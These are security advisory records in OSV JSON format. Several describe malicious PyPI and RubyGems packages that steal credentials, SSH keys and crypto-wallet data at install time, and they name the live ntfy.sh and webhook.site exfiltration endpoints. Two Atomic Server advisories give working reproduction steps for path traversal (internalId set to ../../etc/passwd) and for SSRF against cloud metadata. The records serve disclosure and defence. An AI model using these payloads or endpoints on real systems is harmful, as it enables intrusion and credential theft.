(kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"],"type":"ANALYST"},{"name":"ReversingLabs","contact":["https://www.reversinglabs.com"],"type":"FINDER"}]}
{"schema_version":"1.9.2","id":"MAL-2025-3000","published":"2025-02-21T21:50:10Z","modified":"2026-11-18T21:15:03.555918942Z","summary":"Malicious code in solders-utils (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (cb21eed8f78e6edbc4b615bfc8f65345e0340db66a14b788635d630a67bf5e9a)\nsolders-utils is a typosquat of the solana-py project (its homepage points at solana-py). The sdist's setup.py unconditionally spawns a subprocess running the sibling file hxboot.py before calling setup(), so `pip install solders-utils` executes the payload on every supported platform. hxboot.py scrapes process environment variables filtered by secret-shaped substrings (KEY, SECRET, TOKEN, PASS, MNEM, SEED, PRIV, RPC, API, WALLET) and reads installer-owned credential files including ~/.aws/credentials, ~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.npmrc,.env, ~/.config/solana/id.json, wallet.json, and keypair.json. It also walks Chrome, Chromium, and Brave profile directories for Local Extension Settings belonging to MetaMask (nkbihfbeogaeaoehlefnkodbefgpgknn) and Phantom (bfnaelmomeimhlpmgjnjophhpkkoljpa), base64-encoding the.log/.ldb leveldb files that hold the encrypted seed vaults. Host information, the filtered environment values, credential file contents, and wallet extension blobs are serialized to JSON and POSTed in 3200-byte chunks to the hardcoded ntfy.sh topic https://ntfy.sh/hx83e33eb9, a public pub/sub channel used as an attacker-controlled drop.\n\n## Source: kam193 (eff6c26674dd4f0408742c46785656c3a5d19ca0a87366a60534d37d5a54e687)\nThe only thing the package does is send out all the given data about a cryptocurrency transaction, including the private key, to a hardcoded webhook.\n\nFeedback from PyPI Team: the package \"transaction-utils\" may also exploit a known pip behavior to overwrite files of an existing legitime package and replace it with malicious content.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2025-02-transaction-utils\n\n\nReasons (based on the campaign):\n\n\n - crypto-related\n\n\n - action-hidden-in-lib-usage\n\n\n - A Telegram webhook is used to send collected data.\n","affected":[{"package":{"name":"solders-utils","ecosystem":"PyPI","purl":"pkg:pypi/solders-utils"},"versions":["0.1.1","1.98.2"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"artifacts":["solders_utils-1.98.2.tar.gz"],"path":"setup.py","sha256":"ff831587bd68da955352fc098f21cd4388100935fcad49438f3013dcde437f50","tlsh":"d8f020068e033c10c3eae17c6e025aef9de73f616f639c9e98e8812632997d14607664"},{"artifacts":["solders_utils-1.98.2.tar.gz"],"path":"hxboot.py","sha256":"fc5f679e07d2f89e0fe4fc67933b65e027d0263b8e623e19166d110432a8bf8d","tlsh":"642186c3d40e1807d01d53c48c060ed836afff8860af285aabd76fc0908c2b2166b61d"}],"package_integrity":[{"filename":"solders_utils-1.98.2.tar.gz","hashes":{"blake2b_256":"4b7d491b4e89ec88abbe2a5bbdf239723e916f9cad97aa4e1ae28d1c9533b175","md5":"39baa75f6446397eec96975b34dd771a","sha256":"91becc30a3ae8eccd45746346547bebf4840d91d289cf7ae8beb70b94715c273"}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/solders-utils/MAL-2025-3000.json"}}],"references":[{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/package/solders-utils"},{"type":"PACKAGE","url":"https://pypi.org/project/solders-utils/1.98.2/"},{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/campaign/2026-11-solana-utils-terminalmoney1"}],"database_specific":{"malicious-packages-origins":[{"id":"RLMA-2025-01999","import_time":"2025-03-31T07:07:06.758949622Z","modified_time":"2025-03-28T13:06:16Z","sha256":"5c8e346305384f94d637742b5acac9fe706eacca5bfb47be549338efa6f2abb0","source":"reversing-labs","versions":["0.1.1"]},{"id":"pypi/2025-02-transaction-utils/solders-utils","import_time":"2025-12-02T22:30:55.599547676Z","modified_time":"2025-02-21T21:50:10Z","ranges":[{"events":[{"introduced":"0"}],"type":"ECOSYSTEM"}],"sha256":"cc67f0fb839600d6c9595c6e1c782d58f363987a56d0c739d96e3dcab09b8036","source":"kam193"},{"id":"pypi/2025-02-transaction-utils/solders-utils","import_time":"2025-12-02T23:07:18.638897995Z","modified_time":"2025-02-21T21:50:10Z","ranges":[{"events":[{"introduced":"0"}],"type":"ECOSYSTEM"}],"sha256":"eff6c26674dd4f0408742c46785656c3a5d19ca0a87366a60534d37d5a54e687","source":"kam193"},{"id":"pypi/2025-02-transaction-utils/solders-utils","import_time":"2025-12-10T21:38:57.833108292Z","modified_time":"2025-02-21T21:50:10Z","sha256":"1de48d4db6755f2ac7b7280995e8b326ce9ae224577913713623e31355e8b133","source":"kam193","versions":["0.1.1"]},{"id":"RLUA-2026-00771","import_time":"2026-03-19T12:20:28.923943405Z","modified_time":"2026-03-18T12:18:56Z","sha256":"eb4fb9c4ad72103e27553a1b780fcd33a8e6fbbf6277b575ab1997504a5f6e07","sLine truncated
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{"schema_version":"1.9.2","id":"MAL-2026-20134","published":"2026-11-18T20:29:28Z","modified":"2026-11-18T21:15:03.456459379Z","summary":"Malicious code in anchorpy-utils (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (48c30b992653900c6116fd4df666f1eea0f5296e3be7a59c7a304ac9e165d08e)\nThe sdist's setup.py unconditionally spawns a bundled hxboot.py at install time. hxboot.py harvests installer-side secrets from the host: ~/.ssh/id_rsa and ~/.ssh/id_ed25519, ~/.aws/credentials, ~/.npmrc, ~/.config/solana/id.json, wallet.json/keypair.json/id.json files,.env files, and environment variables matching KEY/SECRET/TOKEN/PASS/MNEM/SEED/PRIV/RPC/API/WALLET. It also walks Chrome, Chromium, and Brave profile directories and base64-encodes.log/.ldb files from the MetaMask (extension id nkbihfbeogaeaoehlefnkodbefgpgknn) and Phantom (bfnaelmomeimhlpmgjnjophhpkkoljpa) Local Extension Settings LevelDB stores. The combined payload is POSTed via urllib.request.urlopen to the hardcoded topic https://ntfy.sh/hx83e33eb9. Package metadata is a cover story for a typosquat: Name is anchorpy-utils while Home-page points at https://pypi.org/project/solana-py/ and the README is titled 'solana-py', and the shipped module provides no Solana functionality.\n\n## Source: kam193 (72c4bff6f129f956ae9439d93cd494d73ee44fa81466d6517b1418208a9a50fd)\nDuring installation package exfiltrates sensitive environment variables, files and data from browser extensions, focusing on cryptocurrency-related informations.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-11-solana-utils-terminalmoney1\n\n\nReasons (based on the campaign):\n\n\n - exfiltration-env-variables\n\n\n - exfiltration-credentials\n\n\n - exfiltration-browser-data\n\n\n - exfiltration-crypto\n\n\n - crypto-related\n\n\n - typosquatting\n\n\n - The package overrides the install command in setup.py to execute malicious code during installation.\n","affected":[{"package":{"name":"anchorpy-utils","ecosystem":"PyPI","purl":"pkg:pypi/anchorpy-utils"},"versions":["1.98.2"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"artifacts":["anchorpy_utils-1.98.2.tar.gz"],"path":"hxboot.py","sha256":"fc5f679e07d2f89e0fe4fc67933b65e027d0263b8e623e19166d110432a8bf8d","tlsh":"642186c3d40e1807d01d53c48c060ed836afff8860af285aabd76fc0908c2b2166b61d"},{"artifacts":["anchorpy_utils-1.98.2.tar.gz"],"path":"PKG-INFO","sha256":"849e66da819f335ec867602a724c95d938e358f3bb9a74c5e3961bcb5b7d4b21","tlsh":"daf090206e82ad76b7ab0b5a2e19723fe5b6431025c5646bccd51a9202892d9b2a2134"}],"package_integrity":[{"filename":"anchorpy_utils-1.98.2.tar.gz","hashes":{"blake2b_256":"7af26274428014ce083859f67777b3772877110230669565d1b9b6af06ff22e3","md5":"291346ca5db554a95ec121225438c2da","sha256":"4331de3f207371a7fb18e3bb037c23864f626dd666938b046f85b46d174b50d5"}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/anchorpy-utils/MAL-2026-20134.json"}}],"references":[{"type":"PACKAGE","url":"https://pypi.org/project/anchorpy-utils/1.98.2/"},{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/package/anchorpy-utils"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-022829","import_time":"2026-11-18T20:36:30.534815917Z","modified_time":"2026-11-18T20:29:28Z","sha256":"48c30b992653900c6116fd4df666f1eea0f5296e3be7a59c7a304ac9e165d08e","source":"amazon-inspector","versions":["1.98.2"]},{"id":"pypi/2026-11-solana-utils-terminalmoney1/anchorpy-utils","import_time":"2026-11-18T21:11:18.986627726Z","modified_time":"2026-11-18T20:42:28.240773Z","sha256":"72c4bff6f129f956ae9439d93cd494d73ee44fa81466d6517b1418208a9a50fd","source":"kam193","versions":["1.98.2"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"],"type":"REPORTER"}]}
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{"schema_version":"1.9.2","id":"MAL-2026-20135","published":"2026-11-18T20:29:34Z","modified":"2026-11-18T21:15:03.455901013Z","summary":"Malicious code in solana-py-utils (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (dc8b7ddf366b6a8802ad0f189a30e59d76e2a9d779227ec155d7f53a6d130490)\nThe sdist's setup.py unconditionally runs the bundled hxboot.py via subprocess under the current Python interpreter during pip install. hxboot.py reads installer-owned secrets including ~/.aws/credentials, ~/.ssh/id_* keys, ~/.netrc, ~/.pypirc, ~/.npmrc, kube/docker/gh/gcloud configuration, Solana keypair files (~/.config/solana/id.json, wallet.json),.env files, and *.pem/*.key material, and scrapes environment variables matching KEY/SECRET/TOKEN/PASS/MNEM/SEED/PRIV/API/WALLET. It additionally enumerates Chromium/Chrome/Brave/Edge user profiles for the MetaMask (nkbihfbeogaeaoehlefnkodbefgpgknn), Phantom (bfnaelmomeimhlpmgjnjophhpkkoljpa), and another wallet extension (bhhhlbepdkbapadjdnnojkbgioiodbic) Local Extension Settings, and base64-encodes the leveldb.log/.ldb contents. The aggregated data is POSTed via urllib to the hardcoded topic https://ntfy.sh/hx83e33eb9. The package name mimics legitimate Solana tooling (typosquat of solana-py), and the stealer fires automatically on `pip install` on every platform that builds the sdist.\n\n## Source: kam193 (7106643886b94c7d16d9e66e601c05cc8a05bb775d75d006fcd06e733ac1892c)\nDuring installation package exfiltrates sensitive environment variables, files and data from browser extensions, focusing on cryptocurrency-related informations.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-11-solana-utils-terminalmoney1\n\n\nReasons (based on the campaign):\n\n\n - exfiltration-env-variables\n\n\n - exfiltration-credentials\n\n\n - exfiltration-browser-data\n\n\n - exfiltration-crypto\n\n\n - crypto-related\n\n\n - typosquatting\n\n\n - The package overrides the install command in setup.py to execute malicious code during installation.\n","affected":[{"package":{"name":"solana-py-utils","ecosystem":"PyPI","purl":"pkg:pypi/solana-py-utils"},"versions":["1.98.2","1.98.3"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"artifacts":["solana_py_utils-1.98.2.tar.gz"],"path":"hxboot.py","sha256":"fc5f679e07d2f89e0fe4fc67933b65e027d0263b8e623e19166d110432a8bf8d","tlsh":"642186c3d40e1807d01d53c48c060ed836afff8860af285aabd76fc0908c2b2166b61d"},{"artifacts":["solana_py_utils-1.98.2.tar.gz"],"path":"setup.py","sha256":"e3d24f43d65463ff021b32fd75e3f2c2e7fe19e3e439aae75fa403773e6f7702","tlsh":"c0f090068f032c00c3eae03c6f0216ef8ceb3b206f638c9e98e8912232887d05207220"}],"package_integrity":[{"filename":"solana_py_utils-1.98.2.tar.gz","hashes":{"blake2b_256":"c0afd8e4cd5c78547dc3a8f65011e0d46a5131792e679183d43c75d668796d40","md5":"a1a68fc4f54ca58bb15ea54001c4ae77","sha256":"810cc85d7438721ab5bb9243c0c5b2593c82e0a83a7e5fd6b2666490b675b349"}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/solana-py-utils/MAL-2026-20135.json"}}],"references":[{"type":"PACKAGE","url":"https://pypi.org/project/solana-py-utils/1.98.2/"},{"type":"PACKAGE","url":"https://pypi.org/project/solana-py-utils/1.98.3/"},{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/package/solana-py-utils"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-022830","import_time":"2026-11-18T20:36:30.64073955Z","modified_time":"2026-11-18T20:29:34Z","sha256":"6792d58c87bc86a313a03ceeb2d18e6bfe5666a649a93c06c16cf649069bc2e7","source":"amazon-inspector","versions":["1.98.2"]},{"id":"IN-MAL-2026-022832","import_time":"2026-11-18T20:36:30.968913499Z","modified_time":"2026-11-18T20:29:46Z","sha256":"dc8b7ddf366b6a8802ad0f189a30e59d76e2a9d779227ec155d7f53a6d130490","source":"amazon-inspector","versions":["1.98.3"]},{"id":"pypi/2026-11-solana-utils-terminalmoney1/solana-py-utils","import_time":"2026-11-18T21:11:19.007384089Z","modified_time":"2026-11-18T20:38:00.877819Z","sha256":"7106643886b94c7d16d9e66e601c05cc8a05bb775d75d006fcd06e733ac1892c","source":"kam193","versions":["1.98.2","1.98.3"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"],"type":"REPORTER"}]}
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{"schema_version":"1.9.2","id":"MAL-2026-20136","published":"2026-11-18T20:29:52Z","modified":"2026-11-18T21:15:03.500783304Z","summary":"Malicious code in solana-utils-terminalmoney1 (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (b58d55f9a4d2ae8d63dbba8c5b88c7fe054e48c2cac2c11cc05d41efe0d4efb9)\nThe sdist's setup.py unconditionally runs `subprocess.run([sys.executable, 'hxboot.py'])` during `pip install`, auto-executing a bundled stealer. hxboot.py reads installer secrets from `~/.env`, `~/.npmrc`, `~/.aws/credentials`, `~/.ssh/id_ed25519`, `~/.ssh/id_rsa`, `~/.config/solana/id.json`, `wallet.json`, and `keypair.json`, and scrapes environment variables matching KEY/SECRET/TOKEN/PASS/MNEM/SEED/PRIV/RPC/API/WALLET. It additionally enumerates Chrome/Chromium/Brave `Local Extension Settings` for MetaMask (extension id nkbihfbeogaeaoehlefnkodbefgpgknn) and Phantom (bfnaelmomeimhlpmgjnjophhpkkoljpa), base64-encoding `.log`/`.ldb` session/wallet files. The collected JSON blob is chunked into ~3200-byte pieces and POSTed to the hardcoded endpoint `https://ntfy.sh/hx83e33eb9`, tagged with the installer's hostname. Package metadata sets `url=https://pypi.org/project/solana-py/` and the README is titled `solana-py`, impersonating the legitimate solana-py project while the distribution name is `solana-utils-terminalmoney1`.\n\n## Source: kam193 (8b9f1e33c12c0eb5b5aefe865fa28651fa55e45a28a5d2cd4cc55c567a7e3af2)\nDuring installation package exfiltrates sensitive environment variables, files and data from browser extensions, focusing on cryptocurrency-related informations.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-11-solana-utils-terminalmoney1\n\n\nReasons (based on the campaign):\n\n\n - exfiltration-env-variables\n\n\n - exfiltration-credentials\n\n\n - exfiltration-browser-data\n\n\n - exfiltration-crypto\n\n\n - crypto-related\n\n\n - typosquatting\n\n\n - The package overrides the install command in setup.py to execute malicious code during installation.\n","affected":[{"package":{"name":"solana-utils-terminalmoney1","ecosystem":"PyPI","purl":"pkg:pypi/solana-utils-terminalmoney1"},"versions":["1.98.2","1.98.3"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"artifacts":["solana_utils_terminalmoney1-1.98.2.tar.gz"],"path":"hxboot.py","sha256":"fc5f679e07d2f89e0fe4fc67933b65e027d0263b8e623e19166d110432a8bf8d","tlsh":"642186c3d40e1807d01d53c48c060ed836afff8860af285aabd76fc0908c2b2166b61d"}],"package_integrity":[{"filename":"solana_utils_terminalmoney1-1.98.2.tar.gz","hashes":{"blake2b_256":"4e7b2a83e69e8b28a10e0037037d7d0250ef86bc32239d7051d3934025b188c9","md5":"af75d44ac9353b41bdf0cd821cbecb02","sha256":"0d86fe55e5d415238cd83716a62f65da4a892ad400eb8d70bc7f64fe40842e71"}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/solana-utils-terminalmoney1/MAL-2026-20136.json"}}],"references":[{"type":"PACKAGE","url":"https://pypi.org/project/solana-utils-terminalmoney1/1.98.2/"},{"type":"PACKAGE","url":"https://pypi.org/project/solana-utils-terminalmoney1/1.98.3/"},{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/package/solana-utils-terminalmoney1"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-022833","import_time":"2026-11-18T20:36:31.141845495Z","modified_time":"2026-11-18T20:29:52Z","sha256":"288fb4a2f4a24c5e594d11fb8eb85dd3aa6475724509c7fc044b8d86933e2659","source":"amazon-inspector","versions":["1.98.2"]},{"id":"IN-MAL-2026-022834","import_time":"2026-11-18T20:36:31.269639292Z","modified_time":"2026-11-18T20:30:00Z","sha256":"b58d55f9a4d2ae8d63dbba8c5b88c7fe054e48c2cac2c11cc05d41efe0d4efb9","source":"amazon-inspector","versions":["1.98.3"]},{"id":"pypi/2026-11-solana-utils-terminalmoney1/solana-utils-terminalmoney1","import_time":"2026-11-18T21:11:19.008031858Z","modified_time":"2026-11-18T20:36:36.8461Z","sha256":"8b9f1e33c12c0eb5b5aefe865fa28651fa55e45a28a5d2cd4cc55c567a7e3af2","source":"kam193","versions":["1.98.2","1.98.3"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"],"type":"REPORTER"}]}
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{"schema_version":"1.9.2","id":"MAL-2026-20137","published":"2026-11-18T20:26:52Z","modified":"2026-11-18T20:45:04.295129630Z","summary":"Malicious code in rechargeapps (RubyGems)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (e3adc43a1ce04c304a176f8f8861b89b99f7df1b0a4f940bdcf1274f24ff157f)\nThe gem's extension build script (run during `gem install`) reads /proc/self/environ (falling back to ENV) and POSTs it base64-encoded to the hardcoded endpoint https://webhook.site/5f869495-8820-4e0a-b759-8c61e0b0d6ce, with a second curl-based repost of /proc/self/environ to the same URL. The library entry point additionally performs a top-level Net::HTTP POST of the full process environment (ENV.to_a, base64-packed) along with pid and hostname to the same webhook.site URL every time `require 'rechargeapps'` is evaluated. The build Makefile is a no-op stub and the module body is otherwise empty, so these two network callbacks are the gem's sole behavior. The published artifact is version 999.0.0 with placeholder metadata (homepage example.com, devops@example.com), consistent with a dependency-confusion squat targeting an internal name 'rechargeapps' to capture CI and build-host environment variables (tokens, cloud keys, registry credentials) at install and load time.\n","affected":[{"package":{"name":"rechargeapps","ecosystem":"RubyGems","purl":"pkg:gem/rechargeapps"},"versions":["999.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"ext/rechargeapps/extconf.rb","sha256":"e9d9b120c85097d2bc38f4c44652d213b045515dacff5b0416db8040998673c9","tlsh":"200112f3b2105c25df94c39c310d984dba33f308818d2c54e6704990e69462b723ac91"},{"path":"lib/rechargeapps.rb","sha256":"8cf75924a5e3cfefac0cb4c3989552e550b1ae0559048ea0b39b473edddafad5","tlsh":"e6f0c0ebb2d80415dbd0d3d8716d6e4a6e77d218414d1c54f53041d46a8ce35233a8a0"},{"path":"metadata.yaml","sha256":"7a23c36becbab60b073774efd2022d51ae35c9432dd65a64ec9662ebc4e89551","tlsh":"7011ab8076c6e47af001dbea88002707f3b2d55dbfe6290299a7c3d203c453e274f161"}],"package_integrity":[{"filename":"rechargeapps-999.0.0.gem","hashes":{"sha256":"5fae55c59bdb2194b6987a78bdf0d14a77bea9d246d32a68f5f7482658f97842"}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/rubygems/rechargeapps/MAL-2026-20137.json"}}],"references":[{"type":"PACKAGE","url":"https://rubygems.org/gems/rechargeapps/versions/999.0.0"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-022827","import_time":"2026-11-18T20:36:30.194658081Z","modified_time":"2026-11-18T20:26:52Z","sha256":"e3adc43a1ce04c304a176f8f8861b89b99f7df1b0a4f940bdcf1274f24ff157f","source":"amazon-inspector","versions":["999.0.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}
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{"schema_version":"1.9.2","id":"GHSA-8vc4-8hjq-988p","published":"2026-11-18T20:42:15Z","modified":"2026-11-18T21:00:39.419615262Z","aliases":["CVE-2026-69156"],"summary":"Atomic Server: Arbitrary file read via user-controlled `internalId` in the `/download` handler (leaks root agent private key)","details":"## Summary\n\nThe Commit apply path enforces **no allowlist of writable properties**, so any authenticated Agent can set the `internalId` string (datatype `string`, no character validation) on a resource it owns. The `/download` handler then uses that value **verbatim** as a filesystem path — `file_path.push(internal_id); NamedFile::open(file_path)` — with **no sanitization and no containment check** (`server/src/handlers/download.rs:56-65`). By setting `internalId` to a traversal path (`../../../../etc/passwd`) or an absolute path (`PathBuf::push` of an absolute path replaces the buffer), an attacker reads **any file on the host**. The highest-value target is the server config file storing the **root agent private key**, which yields full server compromise. Only the *upload* path sanitizes filenames (`sanitize_filename`); the *download* path trusts the stored value. The handler also never checks that the resource is a `File`.\n\n## Affected component\n\n- `server/src/handlers/download.rs:56-65` — `file_path.push(internal_id)` + `NamedFile::open`, no sanitization, no `File`-class check.\n- `lib/src/commit.rs` (`apply_changes`) — sets any property; no server-managed-property denylist.\n\n## Steps to Reproduce\n\nEnvironment: `joepmeneer/atomic-server:develop`, `http://localhost:9883`. Attacker is any Agent with write on a parent (self-signup, or via the `/setup` issue reported separately).\n\n1. Create a resource and set `internalId` to a traversal path — sign the Commit and `POST /commit` (200):\n\n```\nsubject = http://localhost:9883/pwnfile\nset = {\n \"https://atomicdata.dev/properties/parent\": \"http://localhost:9883\",\n \"https://atomicdata.dev/properties/internalId\": \"../../../../../../../../etc/passwd\"\n}\n```\n\n2. Download it. The auth signature is over the **resolved subject** (the server strips the `/download` prefix → `http://localhost:9883/pwnfile`):\n\n```http\nGET /download/pwnfile HTTP/1.1\nHost: localhost:9883\nx-atomic-public-key: <pubkey>\nx-atomic-agent: http://localhost:9883/agents/<pubkey>\nx-atomic-timestamp: <ms>\nx-atomic-signature: <ed25519(\"http://localhost:9883/pwnfile <ms>\")>\n```\n\nResponse `200 OK` returns the host `/etc/passwd`:\n\n```\nroot:x:0:0:root:/root:/bin/sh\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\n...\n```\n\n3. Escalate — set `internalId = /atomic-storage/config/config.toml` (absolute path) and download again:\n\n```toml\nserver = \"http://localhost:9883\"\nagent = \"http://localhost:9883/agents/+/KwsAmyzc7S/...\"\nprivate_key = \"REDACTED-ROOT-ED25519-PRIVATE-KEY\" # server root agent key\n```\n\n4. Using the stolen key, the attacker signs a Commit with `signer = <root agent>` → `POST /commit` (200) edits data **as root**. Full compromise.\n\n**Expected:** `internalId` treated as a server-managed property and/or `/download` canonicalizes and confines the path to `uploads_path`.\n**Actual:** Arbitrary host file read, including the root private key.\n\n## Impact\n\nArbitrary file read as the server process: `/etc/passwd`, env, TLS keys, the sled DB, K8s service-account tokens, and the **root agent private key** → root impersonation → full read/write/delete of all data. Only a standard account is needed.\n\n## Remediation\n\n- In `download.rs`: `sanitize_filename(internal_id)`, then `canonicalize` and assert the resolved path stays within `uploads_path` before opening; verify the resource is a `File`.\n- Add a server-managed-property denylist (`internalId`, rights arrays, etc.) in `lib/src/commit.rs` so clients cannot set them.","affected":[{"package":{"name":"atomic-server","ecosystem":"crates.io","purl":"pkg:cargo/atomic-server"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.30.0"},{"last_affected":"0.40.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-8vc4-8hjq-988p/GHSA-8vc4-8hjq-988p.json"}}],"references":[{"type":"WEB","url":"https://github.com/ontola/atomic-server/security/advisories/GHSA-8vc4-8hjq-988p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69156"},{"type":"WEB","url":"https://github.com/ontola/atomic-server/commit/59d067c797c946b839c9101fedff4c40171c0c61"},{"type":"PACKAGE","url":"https://github.com/ontola/atomic-server"},{"type":"WEB","url":"https://github.com/ontola/atomic-server/releases/tag/v0.40.3"}],"database_specific":{"cwe_ids":["CWE-22"],"github_reviewed":true,"github_reviewed_at":"2026-11-18T20:42:15Z","nvd_published_at":"2026-11-17T21:18:12Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"}]}
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{"schema_version":"1.9.2","id":"GHSA-ff87-73jp-f3v4","published":"2026-11-18T20:42:50Z","modified":"2026-11-18T21:00:39.416021960Z","aliases":["CVE-2026-69158"],"summary":"Atomic Server: Unauthenticated full-response SSRF in Atomic-Server /bookmark endpoint","details":"## Summary\n\nAtomic-Server exposes a `GET /bookmark` endpoint that fetches an attacker-supplied URL server-side, parses the response, and reflects the fetched content back to the caller. The endpoint requires no authentication and performs no authorization of its own, and the underlying fetch helper applies no allow-list or private-IP deny-list. An unauthenticated attacker with network reach to the server can force it to issue arbitrary outbound HTTP GET requests to internal-only hosts (loopback services, internal admin panels, link-local cloud-metadata) and read the response body back. This is a full-response SSRF, not a blind one.\n\n## Root cause (source trace)\n\n1. The bookmark endpoint is registered unconditionally for every server: `server/src/appstate.rs:69` (`store.add_endpoint(plugins::bookmark::bookmark_endpoint())`).\n2. An unauthenticated caller on the standard GET route becomes `ForAgent::Public`: `server/src/helpers.rs:168-183` (`get_client_agent`).\n3. In `get_resource_extended`, when the subject matches an endpoint path the function returns via `call_endpoint` BEFORE the `hierarchy::check_read` authorization call: `lib/src/db.rs:1010-1017` (`if is_endpoint { return self.call_endpoint(...) }`, and `check_read` sits just after at :1017, never reached).\n4. `call_endpoint` performs no authorization itself; it only matches the path and invokes the handler: `lib/src/db.rs:662-706`.\n5. The bookmark handler discards the caller (`for_agent: _`) and fetches the `url` query parameter directly: `server/src/plugins/bookmark.rs:45-76` (`let content = fetch_data(&path)?;`).\n6. `fetch_body` validates only `url.starts_with(\"http\")`: `lib/src/client/helpers.rs:78-91`. A repo-wide grep finds no `is_loopback` / `is_private` / `127.0.0.1` / `169.254` / `localhost` deny-list anywhere in `lib/src` or `server/src`, and no host allow-list.\n7. The fetched body is HTML-parsed and written into the resource `name`, `description`, `image` and `preview` (markdown) fields, which are returned to the caller: `server/src/plugins/bookmark.rs:79-110`. This is what makes it a full-response (not blind) SSRF; even plaintext internal responses are wrapped into the preview markdown.\n\n## Proof of concept (unauthenticated)\n\n```\nGET /bookmark?url=http://127.0.0.1:<internal-port>/&name=x # internal loopback service\nGET /bookmark?url=http://169.254.169.254/latest/meta-data/&name=x # IMDSv1 cloud metadata\n```\n\nNo authentication headers. The returned resource reflects the fetched content in its `name` / `description` / `preview` fields, so the attacker reads the internal target's response body.\n\n## Proof of omission\n\nThe endpoint-dispatch path returns at `lib/src/db.rs:1011` (`return self.call_endpoint(...)`) before the `check_read` call at `:1017`, and there is no authorization inside `call_endpoint` (`:662-706`). The handler discards the caller (`for_agent: _`, `bookmark.rs:49`), so the endpoint can never enforce per-agent access. `fetch_body` validates only `url.starts_with(\"http\")` (`helpers.rs:83`); no loopback/private/link-local deny-list exists anywhere in the source. No corresponding SSRF/security entry exists in CHANGELOG.md.\n\n## Impact\n\nAn unauthenticated attacker with network reach to the server can:\n- read internal-only HTTP services not exposed to the internet (admin panels, dashboards, unauthenticated microservices on loopback or the private network);\n- read cloud metadata reachable via plain GET (IMDSv1 and similar), enabling potential credential disclosure in affected deployments;\n- enumerate internal services / ports from the server's vantage point via differing timeout/error behaviour.\n\nBecause the response body is reflected, this is a high-value full-response SSRF. The only precondition is network reach to the server.\n\nSeverity: High, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N = 8.6.\n\nHonest caveats (do not refute the finding): the `ureq` client uses a 2-second timeout, which limits slow targets; AWS IMDSv2 requires a PUT token, so plain GET metadata retrieval may fail there. IMDSv1 and any internal HTTP service or admin panel that answers a plain GET remain fully reachable and reflected.\n\n## Remediation\n\nAdd a central SSRF guard inside `fetch_body` (`lib/src/client/helpers.rs`): resolve the target host and reject loopback, link-local, RFC1918 private, CGNAT and unique-local ranges, and reject non-http(s) schemes. Re-validate after DNS resolution (to prevent DNS-rebinding) and after each redirect hop. Enforce authorization on endpoint dispatch: 